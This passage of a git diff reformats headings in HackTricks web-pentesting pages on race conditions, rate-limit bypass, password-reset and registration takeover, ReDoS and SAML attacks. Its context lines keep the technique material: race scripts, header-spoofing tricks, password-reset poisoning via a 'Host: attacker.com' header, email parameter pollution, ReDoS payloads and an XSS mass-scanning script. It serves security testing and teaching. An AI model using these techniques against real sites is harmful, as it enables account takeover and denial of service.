to Prototype Pollution and/or XSS +## postMessage to Prototype Pollution and/or XSS In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`. @@ -157,7 +156,7 @@ For **more information**: * Link to page about [**XSS**](xss-cross-site-scripting/) * Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) -### References +# References * [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md index c1db6936..d0203ab9 100644 --- a/pentesting-web/race-condition.md +++ b/pentesting-web/race-condition.md @@ -17,18 +17,16 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Race Condition - -## Anything limited by a number of attempts +# Anything limited by a number of attempts Race conditions are **vulnerabilities** that **appear** in webs that **limit the number of times you can perform an action**. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43). -## Using several times a one-time use code +# Using several times a one-time use code When you make the web page perform some **action** that **should be done only once**, but if the action is done **several times** you will be **benefited**, you really need to try a **Race condicion**.\ Most of the time this is directly related with **money** (if an action is made you get X money, so let's try to make it several time very quickly)**.** -### **Using from the same account the same code several times** +## **Using from the same account the same code several times** For example, in [**this bug** ](https://hackerone.com/reports/759247)the hunter was able to **load the money inside a gift card several times.** @@ -59,7 +57,7 @@ def handleResponse(req, interesting): Using also BURP you could also send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.** -### **Using the same code from different accounts** +## **Using the same code from different accounts** **If the previously proposal didn't work (try to use the same code several times from the same account) you try a variant:Try t use the same code from different accounts:** @@ -82,20 +80,20 @@ def handleResponse(req, interesting): table.add(req) ``` -### OAuth2 eternal persistence +## OAuth2 eternal persistence There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\ So, until here just a common login with google/linkdin/github... where you aer prompted with a page saying: "_Application \ wants to access you information, do you want to allow it?_" -#### Race Condition in `authorization_code` +### Race Condition in `authorization_code` The **problem** appears when you **accept it** and automatically sends a **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**. -#### Race Condition in `Refresh Token` +### Race Condition in `Refresh Token` Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** -## References +# References * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) diff --git a/pentesting-web/rate-limit-bypass.md b/pentesting-web/rate-limit-bypass.md index 13a42e7c..197a3f8c 100644 --- a/pentesting-web/rate-limit-bypass.md +++ b/pentesting-web/rate-limit-bypass.md @@ -17,19 +17,17 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Rate Limit Bypass - -### Using similar endpoints +## Using similar endpoints If you are attacking the `/api/v3/sign-up` endpoint try to perform bruteforce to `/Sing-up`, `/SignUp`, `/singup`... Also try appending to the original endpoint bytes like `%00, %0d%0a, %0d, %0a, %09, %0C, %20` -### Blank chars in code/params +## Blank chars in code/params Try adding some blank byte like `%00, %0d%0a, %0d, %0a, %09, %0C, %20` to the code and/or params. For example `code=1234%0a` or if you are requesting a code for an email and you only have 5 tries, use the 5 tries for `example@email.com`, then for `example@email.com%0a`, then for `example@email.com%0a%0a`, and continue... -### Changing IP origin using headers +## Changing IP origin using headers ```bash X-Originating-IP: 127.0.0.1 @@ -48,15 +46,15 @@ X-Forwarded-For: 127.0.0.1 If they are limiting to 10 tries per IP, every 10 tries change the IP inside the header. -### Change other headers +## Change other headers Try changing the user-agent, the cookies... anything that could be able to identify you. -### Adding extra params to the path +## Adding extra params to the path If the limit in in the path `/resetpwd`, try BFing that path, and once the rate limit is reached try `/resetpwd?someparam=1` -### Login in your account before each attempt +## Login in your account before each attempt Maybe if you **login into your account before each attempt** (or each set of X tries), the rate limit is restarted. If you are attacking a login functionality, you can do this in burp using a Pitchfork attack in **setting your credentials every X tries** (and marking follow redirects). diff --git a/pentesting-web/registration-vulnerabilities.md b/pentesting-web/registration-vulnerabilities.md index 73ff1eea..92835c01 100644 --- a/pentesting-web/registration-vulnerabilities.md +++ b/pentesting-web/registration-vulnerabilities.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Registration & Takeover Vulnerabilities +# Registration Takeover -## Registration Takeover - -### Duplicate Registration +## Duplicate Registration * Try to generate using an existing username * Check varying the email: @@ -33,45 +31,45 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * victim@gmail.com@attacker.com * victim@attacker.com@gmail.com -### Username Enumeration +## Username Enumeration Check if you can figure out when a username has already been registered inside the application. -### Password Policy +## Password Policy Creating a user check the password policy (check if you can use weak passwords).\ In that case you may try to bruteforce credentials. -### SQL Injection +## SQL Injection [**Check this page** ](sql-injection/#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms. -### Oauth Takeovers +## Oauth Takeovers {% content-ref url="oauth-to-account-takeover.md" %} [oauth-to-account-takeover.md](oauth-to-account-takeover.md) {% endcontent-ref %} -### SAML Vulnerabilities +## SAML Vulnerabilities {% content-ref url="saml-attacks/" %} [saml-attacks](saml-attacks/) {% endcontent-ref %} -### Change Email +## Change Email when registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails. -### More Checks +## More Checks * Check if you can use **disposable emails** * **Long** **password** (>200) leads to **DoS** * **Check rate limits on account creation** * Use username@**burp\_collab**.net and analyze the **callback** -## **Password Reset Takeover** +# **Password Reset Takeover** -### Password Reset Token Leak Via Referrer +## Password Reset Token Leak Via Referrer 1. Request password reset to your email address 2. Click on the password reset link @@ -80,7 +78,7 @@ when registered try to change the email and check if this change is correctly va 5. Intercept the request in Burp Suite proxy 6. Check if the referer header is leaking password reset token. -### Password Reset Poisoning +## Password Reset Poisoning 1. Intercept the password reset request in Burp Suite 2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` @@ -88,7 +86,7 @@ when registered try to change the email and check if this change is correctly va `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN` -### Password Reset Via Email Parameter +## Password Reset Via Email Parameter ```powershell # parameter pollution @@ -107,14 +105,14 @@ email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` -### IDOR on API Parameters +## IDOR on API Parameters 1. Attacker have to login with their account and go to the **Change password** feature. 2. Start the Burp Suite and Intercept the request 3. Send it to the repeater tab and edit the parameters : User ID/email\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` -### Weak Password Reset Token +## Weak Password Reset Token The password reset token should be randomly generated and unique every time.\ Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm. @@ -130,13 +128,13 @@ Try to determine if the token expire or if it’s always the same, in some cases * Token reuse * Token expiration date -### Leaking Password Reset Token +## Leaking Password Reset Token 1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com 2. Inspect the server response and check for `resetToken` 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` -### Password Reset Via Username Collision +## Password Reset Via Username Collision 1. Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g: `"admin "` 2. Request a password reset with your malicious username. @@ -146,13 +144,13 @@ Try to determine if the token expire or if it’s always the same, in some cases The platform CTFd was vulnerable to this attack.\ See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) -### Account Takeover Via Cross Site Scripting +## Account Takeover Via Cross Site Scripting 1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` 2. Leak the current **sessions cookie** 3. Authenticate as the user using the cookie -### Account Takeover Via HTTP Request Smuggling +## Account Takeover Via HTTP Request Smuggling 1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ @@ -176,12 +174,12 @@ Hackerone reports exploiting this bug\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) -### Account Takeover via CSRF +## Account Takeover via CSRF 1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change” 2. Send the payload -### Account Takeover via JWT +## Account Takeover via JWT JSON Web Token might be used to authenticate an user. @@ -192,7 +190,7 @@ JSON Web Token might be used to authenticate an user. [hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md) {% endcontent-ref %} -## References +# References * [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover) diff --git a/pentesting-web/regular-expression-denial-of-service-redos.md b/pentesting-web/regular-expression-denial-of-service-redos.md index 7c7b29af..dc1c88b0 100644 --- a/pentesting-web/regular-expression-denial-of-service-redos.md +++ b/pentesting-web/regular-expression-denial-of-service-redos.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Regular expression Denial of Service - ReDoS - -## Introduction +# Introduction **Copied from** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS) The **Regular expression Denial of Service (ReDoS)** is a [Denial of Service](https://owasp.org/www-community/attacks/Denial\_of\_Service) attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time. -### Description +## Description -#### The problematic Regex naïve algorithm +### The problematic Regex naïve algorithm The Regular Expression naïve algorithm builds a [Nondeterministic Finite Automaton (NFA)](https://en.wikipedia.org/wiki/Nondeterministic\_finite\_state\_machine), which is a finite state machine where for each pair of state and input symbol there may be several possible next states. Then the engine starts to make transition until the end of the input. Since there may be several possible next states, a deterministic algorithm is used. This algorithm tries one by one all the possible paths (if needed) until a match is found (or all the paths are tried and fail). @@ -39,7 +37,7 @@ For the input `aaaaX` there are 16 possible paths in the above graph. But for `a Notice, that not all algorithms are naïve, and actually Regex algorithms can be written in an efficient way. Unfortunately, most Regex engines today try to solve not only “pure” Regexes, but also “expanded” Regexes with “special additions”, such as back-references that cannot be always be solved efficiently (see **Patterns for non-regular languages** in [Wiki-Regex](https://en.wikipedia.org/wiki/Regular\_expression) for some more details). So even if the Regex is not “expanded”, a naïve algorithm is used. -#### Evil Regexes +### Evil Regexes A Regex is called “evil” if it can stuck on crafted input. @@ -60,9 +58,9 @@ A Regex is called “evil” if it can stuck on crafted input. All the above are susceptible to the input `aaaaaaaaaaaaaaaaaaaaaaaa!` (The minimum input length might change slightly, when using faster or slower machines). -## ReDoS Payloads +# ReDoS Payloads -### String Exfiltration via ReDoS +## String Exfiltration via ReDoS In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**: @@ -70,7 +68,7 @@ In a CTF (or bug bounty) maybe you **control the Regex a sensitive information ( * Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` * In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`(((((((.*)*)*)*)*)*)*)!` -### ReDoS Controlling Input and Regex +## ReDoS Controlling Input and Regex The following are **ReDoS** examples where you **control** both the **input** and the **regex**: @@ -104,7 +102,7 @@ Regexp (a+)*$ took 723 milliseconds. */ ``` -## Tools +# Tools * [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit) * [https://devina.io/redos-checker](https://devina.io/redos-checker) diff --git a/pentesting-web/reset-password.md b/pentesting-web/reset-password.md index 65797c8e..d5256774 100644 --- a/pentesting-web/reset-password.md +++ b/pentesting-web/reset-password.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Reset/Forgotten Password Bypass - The following techniques recompilation was taken from [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) -## Password Reset Token Leak Via Referrer +# Password Reset Token Leak Via Referrer The **HTTP referer** is an optional HTTP header field that identifies the address of the webpage which is linked to the resource being requested. The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed ![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg) -### Exploitation +## Exploitation * Request password reset to your email address * Click on the password reset link @@ -36,11 +34,11 @@ The **HTTP referer** is an optional HTTP header field that identifies the addres * Intercept the request in burpsuite proxy * Check if the referer header is leaking password reset token. -### Impact +## Impact It allows the person who has control of particular site to change the user’s password \(CSRF attack\), because this person knows reset password token of the user. -### Reference: +## Reference: * https://hackerone.com/reports/342693 * https://hackerone.com/reports/272379 @@ -48,13 +46,13 @@ It allows the person who has control of particular site to change the user’s p * https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a * https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1 -## Account Takeover Through Password Reset Poisoning +# Account Takeover Through Password Reset Poisoning If you find a host header attack and it’s out of scope, try to find the password reset button! ![](https://portswigger.net/web-security/images/password-reset-poisoning.svg) -### Exploitation +## Exploitation * Intercept the password reset request in Burpsuite * Add following header or edit header in burpsuite\(try one by one\) @@ -75,7 +73,7 @@ Host: attacker.com * Check if the link to change the password inside the email is pointing to attacker.com -### Patch +## Patch Use `$_SERVER['SERVER_NAME']` rather than `$_SERVER['HTTP_HOST']` @@ -83,11 +81,11 @@ Use `$_SERVER['SERVER_NAME']` rather than `$_SERVER['HTTP_HOST']` $resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901"; ``` -### Impact +## Impact The victim will receive the malicious link in their email, and, when clicked, will leak the user’s password reset link / token to the attacker, leading to full account takeover. -### Reference: +## Reference: * https://hackerone.com/reports/226659 * https://hackerone.com/reports/167631 @@ -95,9 +93,9 @@ The victim will receive the malicious link in their email, and, when clicked, wi * https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/ * https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87 -## Account Takeover: Password Reset With Manipualating Email Parameter +# Account Takeover: Password Reset With Manipualating Email Parameter -### Exploitation +## Exploitation * Add attacker email as second parameter using & @@ -155,15 +153,15 @@ POST /resetPassword {"email":["victim@mail.tld","atracker@mail.tld"]} ``` -### Reference +## Reference * https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be * https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/ * https://twitter.com/HusseiN98D/status/1254888748216655872 -## Full Account Takeover via Changing Email And Password of any User through API Parameters +# Full Account Takeover via Changing Email And Password of any User through API Parameters -### Exploitation +## Exploitation * Attacker have to login with their account and Go to the Change password function * Start the Burp Suite and Intercept the request @@ -175,24 +173,24 @@ POST /api/changepass ("form": {"email":"victim@email.tld","password":"12345678"}) ``` -### Reference +## Reference * https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240 -### No Rate Limiting: Email Bombing +## No Rate Limiting: Email Bombing -### Exploitation +## Exploitation * Start the Burp Suite and Intercept the password reset request * Send to intruder * Use null payload -### Reference +## Reference * https://hackerone.com/reports/280534 * https://hackerone.com/reports/794395 -## Find out How Password Reset Token is Generated +# Find out How Password Reset Token is Generated Figure out the pattern of password reset token @@ -209,7 +207,7 @@ If it Use Burp Sequencer to find the randomness or predictability of tokens. -## Response manipulation: Replace Bad Response With Good One +# Response manipulation: Replace Bad Response With Good One Look for Request and Response like these @@ -225,15 +223,15 @@ HTTP/1.1 200 OK (“message”:”success”,”statusCode:200,”errorDescription”:”Success”) ``` -### Reference +## Reference * https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3 -### Using Expired Token +## Using Expired Token * Check if the expired token can be reused -### Brute Force Password Rest token +## Brute Force Password Rest token Try to bruteforce the reset token using Burpsuite @@ -245,11 +243,11 @@ email=victim@email.com&code=$BRUTE$ * Use IP-Rotator on burpsuite to bypass IP based ratelimit. -### Reference +## Reference * https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1 -### Try Using Your Token +## Try Using Your Token * Try adding your password reset token with victim’s Account @@ -259,21 +257,21 @@ POST /resetPassword email=victim@email.com&code=$YOUR_TOKEN$ ``` -### Reference +## Reference * https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1 -## Session I**nvalidation** in Logout/Password Reset +# Session I**nvalidation** in Logout/Password Reset When a user **logs out or reset his password**, the current session should be invalidated. Therefore, **grab the cookies** while the user is logged in, **log out**, and **check** if the **cookies** are still **valid**. Repeat the process **changing the password** instead of logging out. -## Reset Token expiration Time +# Reset Token expiration Time The **reset tokens must have an expiration time**, after it the token shouldn't be valid to change the password of a user. -## Extra Checks +# Extra Checks * Use username@burp\_collab.net and analyze the callback * User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com diff --git a/pentesting-web/reverse-tab-nabbing.md b/pentesting-web/reverse-tab-nabbing.md index a032da70..82b6612f 100644 --- a/pentesting-web/reverse-tab-nabbing.md +++ b/pentesting-web/reverse-tab-nabbing.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Reverse Tab Nabbing - -## Description +# Description In a situation where an **attacker** can **control** the **`href`** argument of an **` +## Examples Create the following pages in a folder and run a web server with `python3 -m http.server`\ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**. @@ -83,7 +81,7 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link ``` {% endcode %} -### Accessible properties +## Accessible properties The malicious site can only access to the following properties from the **opener** javascript object reference (that is in fact a reference to a **window** javascript class instance) in case of **cross origin** (cross domains) access: @@ -97,11 +95,11 @@ The malicious site can only access to the following properties from the **opener If the domains are the same then the malicious site can access all the properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) javascript object reference. -## Prevention +# Prevention Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing). -## References +# References {% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %} diff --git a/pentesting-web/saml-attacks/README.md b/pentesting-web/saml-attacks/README.md index 275ae61a..8c484581 100644 --- a/pentesting-web/saml-attacks/README.md +++ b/pentesting-web/saml-attacks/README.md @@ -16,23 +16,22 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## SAML Attacks -### Basic Information +# Basic Information {% content-ref url="saml-basics.md" %} [saml-basics.md](saml-basics.md) {% endcontent-ref %} -### Attacks Graphic +# Attacks Graphic ![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (6).png>) -### Tool +# Tool [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL. -### XML round-trip +# XML round-trip In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**. @@ -73,7 +72,7 @@ For more information about the vulnerability and how to abuse it: * [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) * [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/) -### XML Signature Wrapping Attacks +# XML Signature Wrapping Attacks XML documents containing XML Signatures are typically **processed in two independent steps**: **signature** **validation** and **function** **invocation** (business logic). If both modules have different views on the data, a new class of vulnerabilities named XML Signature Wrapping attacks (XSW) exists.\ In these attacks the **adversary** **modifies** the **message** structure by **injecting** **forged** elements **which do not invalidate the XML Signature**. The goal of this alteration is to change the message in such a way that the **application logic and the signature verification module use different parts of the message**. Consequently, the receiver verifies the XML Signature successfully but the application logic processes the bogus element. The **attacker thus circumvents the integrity protection** and the origin authentication of the XML Signature and can inject arbitrary content. @@ -82,66 +81,66 @@ From the SAML request: ![](<../../.gitbook/assets/image (537).png>) -#### XSW #1 +## XSW #1 An attacker can **add a new root element where the signature** is found. Therefore, when the validator checks the integrity of the signature it may note that it has **check** the **integrity** of the **Response -> Assertion -> Subject**, and it might get confused with the **evil new Response -> Assertion -> Subject** path in red and use its data. ![](<../../.gitbook/assets/image (538).png>) -#### XSW #2 +## XSW #2 The difference with #1 is that the type of Signature used is a **detached signature** where XSW #1 used an enveloping signature.\ Note how the new evil structure is the same as before trying to confuse the business logic after the integrity check was performed. ![](<../../.gitbook/assets/image (539).png>) -#### XSW #3 +## XSW #3 In this attack an **evil Assertion is created in at the same level** as the original assertion to try to confuse the business logic and use the evil data. ![](<../../.gitbook/assets/image (540).png>) -#### XSW #4 +## XSW #4 XSW #4 is similar to #3, except in this case the **original Assertion becomes a child** of the copied Assertion. ![](<../../.gitbook/assets/image (541).png>) -#### XSW #5 +## XSW #5 In XSW #5 the Signature and the original Assertion aren’t in one of the three standard configurations (enveloped/enveloping/detached). In this case, the copied Assertion envelopes the Signature. ![](<../../.gitbook/assets/image (542).png>) -#### XSW #6 +## XSW #6 XSW #6 inserts its copied Assertion into the same location as #’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion. ![](<../../.gitbook/assets/image (543).png>) -#### XSW #7 +## XSW #7 XSW #7 inserts an **Extensions** element and adds the copied **Assertion** as a **child**. Extensions is a valid XML element with a **less restrictive schema definition**. The authors of this [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure. ![](<../../.gitbook/assets/image (544).png>) -#### XSW #8 +## XSW #8 XSW #8 uses another **less restrictive XML element** to perform a variation of the attack pattern used in XSW #7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion. ![](<../../.gitbook/assets/image (545).png>) -#### Tool +## Tool You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it. ![](<../../.gitbook/assets/image (546).png>) -#### Original Paper +## Original Paper For more information about this attack read the original paper in [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) -### XXE +# XXE If you don't know which kind of attacks are XXE, please read the following page: @@ -169,11 +168,11 @@ Due to the fact that SAML Responses are deflated and base64’d **XML documents* [...] ``` -#### Tool +## Tool You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities. -### XSLT via SAML +# XSLT via SAML For more information about XSLT go to: @@ -207,17 +206,17 @@ Here you can find a **POC** to check for this kind of vulnerabilities, in the ha ``` -#### Tool +## Tool You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities. -### XML Signature Exclusion +# XML Signature Exclusion Signature Exclusion is used to test how the SAML implementation behaves when there is **no Signature elemen**t. When a Signature element is **absent** the **signature validation step may get skipped entirely**. If the Signature isn’t validated, then any of the contents that would typically be signed may be tampered with by an attacker. ![](<../../.gitbook/assets/image (547).png>) -#### Tool +## Tool Signature exclusion begins with intercepting the SAML Response then clicking `Remove Signatures`. In doing so **all** Signature elements are removed. @@ -225,11 +224,11 @@ Signature exclusion begins with intercepting the SAML Response then clicking `Re With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service -### Certificate Faking +# Certificate Faking Certificate faking is the process of testing whether or not the Service Provider **verifies that a trusted Identity Provider signed the SAML Message.** The trust relationship between SP and IdP is established and **should be verified** each time a SAML Message is received. What this comes down to is using a **self-signed** certificate to sign the SAML Response or Assertion. -#### Tool +## Tool The Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) is going to be used.\ To fake a certificate, begin by intercepting the SAML Response.\ @@ -247,7 +246,7 @@ Doing so generates a self-signed clone of the original certificate. Now it’s t After signing the message with the self-signed cert, send it on its way. If we authenticate, we know that we can sign our SAML Messages. The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider. -### Token Recipient Confusion / Service Provider Target Confusion +# Token Recipient Confusion / Service Provider Target Confusion Token Recipient Confusion / Service Provider Target CONfusion **tests whether or not the Service Provider validates the Recipient**. This means, that **if the response was meant to a different Service Provide**r, the **current** Service Provider should notice it and **reject the authentication**.\ The **Recipient** field is an attribute of the **SubjectConfirmationData** element, which is a child of the Subject element in a SAML Response. @@ -256,13 +255,13 @@ The **Recipient** field is an attribute of the **SubjectConfirmationData** eleme The Recipient attribute found on the **SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered**. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted. -#### How-to +## How-to SAML Token Recipient Confusion (SAML-TRC) has a few prequisite conditions in order for us to attempt exploitation. First, we **need** to have a **legitimate account on a Service Provider**. Second, **SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit**. The attack is relatively simple if the conditions are true. We **authenticate** to **SP-Legit** via the shared Identity Provider. We then **intercept the SAML Response on its way from the IdP to SP-Legit**. Once intercepted, we send the **SAML Response that was intended for SP-Legit to SP-Target instead.** If **SP-Target accepts the Assertion**; we’ll find ourselves logged in with the same account name as we have for SP-Legit and get access to SP-Target’s corresponding resources. -### XSS in Logout functionality +# XSS in Logout functionality (Access the [original research here](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)) @@ -280,7 +279,7 @@ https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarb The base parameter is taking a URL so how about replacing that with the old classic `javascript:alert(123);` to trigger an XSS. -#### Mass Exploitation +## Mass Exploitation Using [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) that can take a list of URLs and then give you back the callback (SAML consume) URL, I decided to feed the tool with all subdomains of `uberinternal.com` to see if there are other domains that use the same library and there was. @@ -304,7 +303,7 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList: print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit) ``` -### References +# References The attacks were obtained from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\ You can find additional resources and write-ups in [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) diff --git a/pentesting-web/saml-attacks/saml-basics.md b/pentesting-web/saml-attacks/saml-basics.md index 99c0e77c..37f9c937 100644 --- a/pentesting-web/saml-attacks/saml-basics.md +++ b/pentesting-web/saml-attacks/saml-basics.md @@ -17,19 +17,17 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# SAML Basics - -## Description +# Description Security Assertion Markup Language (SAML) is an open standard that allows identity providers (IdP) to pass authorization credentials to service providers (SP). What that jargon means is that you can **use one set of credentials to log into many different websites**. It’s much simpler to manage one login per user than it is to manage separate logins to email, customer relationship management (CRM) software, Active Directory, etc. SAML transactions use Extensible Markup Language (XML) for standardized communications between the identity provider and service providers. SAML is the link between the authentication of a user’s identity and the authorization to use a service. (From [here](https://www.varonis.com/blog/what-is-saml/)) -## SAML vs. OAuth +# SAML vs. OAuth OAuth is a slightly newer standard that was co-developed by Google and Twitter to enable streamlined internet logins. OAuth uses a similar methodology as SAML to share login information. **SAML provides more control** to enterprises to keep their SSO logins more secure, whereas **OAuth is better on mobile and uses JSON**. -## Schema +# Schema ![saml-flow](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg) @@ -44,7 +42,7 @@ OAuth is a slightly newer standard that was co-developed by Google and Twitter t 9. Step 7 - The ACS validates the SAML Response. 10. Step 8 - We are allowed to access the resource we originally 